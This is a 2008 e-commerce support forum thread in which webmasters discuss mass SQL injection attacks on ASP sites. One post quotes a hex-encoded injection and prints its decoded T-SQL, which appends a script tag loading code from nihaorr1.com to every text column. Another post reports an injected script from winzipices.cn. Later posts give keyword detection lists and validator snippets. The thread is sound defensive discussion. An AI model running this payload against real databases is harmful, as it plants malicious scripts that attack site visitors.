Database Breach |
Post Reply | Page <123> |
Author | |
ProductCart
Admin Group ProductCart Team Joined: 01-October-2003 Status: Offline Points: 135 |
Post Options
Thanks(0)
|
As Greg indicated, this might not be a ProductCart issue.
Still, if you are using version 3.03, then you are using a version of ProductCart that is somewhat outdated. If you cannot update (free updates) to the latest version, you should apply any security patches posted to the Support Center, when available. Some were posted over the last year or so The latest patches are always available in the "Just In" section. For older files, click on the "Find updates for previous versions" link. |
|
nhertz
Newbie Joined: 20-April-2008 Location: Spain Status: Offline Points: 0 |
Post Options
Thanks(0)
|
I want to follow up on all the controversy and theories regarding the massive ongoing iframe injections pointing to domains such as nmidahena.com, aspder.com and more recently: nihaorr1.com My intention is to focus a little on the facts rather than amplify the ongoing rumours and theories since this is causing frustrated webmasters to attempt hundreds of different methods to avoid these attacks with no luck. The attacks appear to come from To answer the question whether this attack might be using more complex methods beyond just a simple sql injection, the answer is yes and no. I'm saying this because many webmasters are going mad patching up sensitive forms, restricting session id's etc.. only to get attacked again and again. Create an include file with something like this: <% if instr(lcase(sql),"nvarchar")>0 then Call it, forexample, Validator.asp and put it right before your select statements are executed: <!--#include file="validator.asp"--> This will not permit some of the key words required to execute this command to take place and therefore the malicious Exec will not be allowed. Ofcourse you have to discover which pages are being used to inject this code. Is there a tool or a mechanism to find it? SELECT Musicas.Artistas, Musicas.Titles, Musicas.Formatos, Musicas.MemIDs, Musicas.Enlsae, Mem.Statesa, Mem.Cities, Mem.Paises, Mem.Users FROM Musicas, Mem Where Musicas.Titles = 'acb;DECLARE @S NVARCHAR(4000);SET @S=CAST0x440045000043005500520053004F005200200046004F0050020 004600450054004300480020004E00450058005400 2000460052004F004D00200020005400610062006C0065005F0043007500 720073006F007200200049004E0054004F002000400 054002C0040004300200057280076006100720063006800610072002C005 B0027002B00400043002B0027005D00290029002B00 270027003C0073006300720069007000740020007300720063003D006800 7400740070003A002F002F007700770077002E006E0 06900680061006F00720010062006C0065005F0043007500720073006F00 7200 Once you run the statement through the descrypter you'll get something like this: DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar'['+@C+']))+''<script src=nihaorr1.com/1.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor This shows how the nihaorr1.com domain is being used by the script to harrass the users that visit your page where the script is executed. This is a very annoying attack since the spiders appear to be running in a circle on constant autopilot. However, don't go about thinking that this is as bad as it gets because the Exec command could easily have been programmed to delete your tables and even drop tables if the external users are configured to have such rights. Forget about wasting time and money on expensive antivirus and firewall solutions. They cannot do anything against SQL injection attacks and it is a common practice around forums to try and give people a false sense of security by pasting links to different software companies. These attacks are happening where there's vulnerable ASP code and no expensive software can prevent or "clean" this. Feel free to contact me and I'll do my best to get back to you. Regards, Nicolai Hertz |
|
Hamish
Admin Group Joined: 12-October-2006 Location: United Kingdom Status: Offline Points: 56 |
Post Options
Thanks(0)
|
Hi Nicolai and thanks for the post - V interesting.
It's always useful to learn anything that bolsters site security. |
|
Greg Dinger
Certified ProductCart Developers Joined: 23-September-2006 Location: United States Status: Offline Points: 238 |
Post Options
Thanks(0)
|
<<<The attacks appear to come from Well, I think that's a bit of a stretch. I track this fairly closely and while there is a very heavy level of traffic from China, I see it coming from all over the place including Turkey, Ukraine and many other nations. There are hack teams who do so in order to protest US foreign policy issues, the specifics of which I'm well aware but will leave that for discussion off this board, and there are also those who hack for the purpose of introducing links to sites (for example porn) in order to gain higher link popularity. I have seen and dealt with both. And I also think the idea of simply scanning query strings for "--" and "nvarchar" seems a bit incomplete. A script we use to scan for SQL injection threats includes the following: Case InStr(1, strToCheck, " and 1=1") > 1: blnMatch = True Case InStr(1, strToCheck, " and 1=2") > 1: blnMatch = True Case InStr(1, strToCheck, " and user") > 1: blnMatch = True Case InStr(1, strToCheck, " char ") > 1: blnMatch = True Case InStr(1, strToCheck, " user ") > 1: blnMatch = True Case InStr(1, strToCheck, " version") > 1: blnMatch = True Case InStr(1, strToCheck, "+char+") > 1: blnMatch = True Case InStr(1, strToCheck, " sysobjects") > 1: blnMatch = True Case InStr(1, strToCheck, "+user+") > 1: blnMatch = True Case InStr(1, strToCheck, "1=1") > 1: blnMatch = True Case InStr(1, strToCheck, "1=2") > 1: blnMatch = True Case InStr(1, strToCheck, "char(124)") > 1: blnMatch = True Case InStr(1, strToCheck, "convert(int") > 1: blnMatch = True Case InStr(1, strToCheck, "convert(varchar") > 1: blnMatch = True Case InStr(1, strToCheck, "declare+@") > 1: blnMatch = True Case InStr(1, strToCheck, "declare @") > 1: blnMatch = True Case InStr(1, strToCheck, "exec(") > 1: blnMatch = True Case InStr(1, strToCheck, "having 1=1--") > 1: blnMatch = True Case InStr(1, strToCheck, "having 1=1--") > 1: blnMatch = True Case InStr(1, strToCheck, "is_srvrolemember") > 1: blnMatch = True Case InStr(1, strToCheck, "sysadmin") > 1: blnMatch = True Case InStr(1, strToCheck, "union") > 1: blnMatch = True Case InStr(1, strToCheck, "waitfor delay") > 1: blnMatch = True
|
|
nhertz
Newbie Joined: 20-April-2008 Location: Spain Status: Offline Points: 0 |
Post Options
Thanks(0)
|
Greg, Regards, |
|
ProductCart
Admin Group ProductCart Team Joined: 01-October-2003 Status: Offline Points: 135 |
Post Options
Thanks(0)
|
ProductCart of course includes functions that clean query strings and validate their content before being used in any SQL query, including the "getUserInput" and "validNum" functions contained in "includes/stringfunctions.asp".
Once again:
We do recommend that a respectable security scanning system such as HackerSafe is used to ensure that an entire Web property (not just the e-commerce store portion of it) is constantly checked for possible vulnerabilities. This is especially true if your Web site contains other applications beyond ProductCart (or custom code you have written), as those applications could contain unsafe code that we cannot be aware of. We have used HackerSafe ourselves for quite some time and we have seen it find legitimate security issues that we immediately fixed (typically within hours of the findings). Therefore, we consider it a useful tool and it has helped make ProductCart an even more secure application. Note: HackerSafe is the only security scanning system that we have direct experience with. We can only talk about what we know. However, a competing system by Comodo, called HackerGuardian, is considerably cheaper than HackerSafe. We don't have direct experience using HackerGuardian and were not able to find a comparison between the two on the Internet (if you find it, let us know). Edited by earlyimp - 21-April-2008 at 5:19am |
|
nhertz
Newbie Joined: 20-April-2008 Location: Spain Status: Offline Points: 0 |
Post Options
Thanks(0)
|
Let me just clarify that I was not referring to Early Impact software in any of my posts. It was my bad for not being more specific! You are right that I am not familiar with the source code behind your software and therefore I cannot argue for or against it. Nicolai Hertz |
|
Hamish
Admin Group Joined: 12-October-2006 Location: United Kingdom Status: Offline Points: 56 |
Post Options
Thanks(0)
|
Nicolai,
I, and I'm sure many others, appreciate being well informed by people who properly understand these things. So - Thanks & kudos to you & Greg for helping build awareness & , of course, thanks to EA for building a great product that keeps up to date with security. Situtions like this just remind us all how important keeping security up to date - part of which is keeping pretty close to current on software releases. |
|
Greg Dinger
Certified ProductCart Developers Joined: 23-September-2006 Location: United States Status: Offline Points: 238 |
Post Options
Thanks(0)
|
This was just forwarded to me. I see a familiar domain name (nihaorr1) listed in there: |
|
retreat987
Newbie Joined: 19-February-2008 Location: United States Status: Offline Points: 0 |
Post Options
Thanks(0)
|
I, unfortunately, was recently hit by an SQL injection attack. It revealed several problems with our database backups; The attack overwrote a lot of fields throughout the database, and the backup saved those changes. The attack happened over a weekend, and by the time we noticed it Monday morning, the backup had taken effect, overwriting the last good backup we had.
I use ProductCart (with the latest version), and am not sure how the attacker was able to do their thing. The inserted this line into most every field in the database: <scrript src="http://winzipices.cn/4.js"></scrript> (Typos in "script" are intentional, just in case). I'm not sure how best to keep them from doing it again. I've been reading everyone's posts, and will try one of the Hacker prevention tools listed, and hope that is enough. My initial solution was to block all outside traffic to the site, while I tried to remove all instances of the script from the database. I'm still trying to re-create all the products, which is taking some time as they all have a lot of options and thus sub products. Currently I've just changed the url for the product cart software (scart/pc, rather than cart/pc) and set up a simple landing page (www.DandDToys.com) for users (we have a brick and mortar store, and process all our orders through product cart, so I can't simply close the store). Any additional tips would be appreciated. Thanks, Dan |
|
Post Reply | Page <123> |
Tweet
|
Forum Jump | Forum Permissions You cannot post new topics in this forum You cannot reply to topics in this forum You cannot delete your posts in this forum You cannot edit your posts in this forum You cannot create polls in this forum You cannot vote in polls in this forum |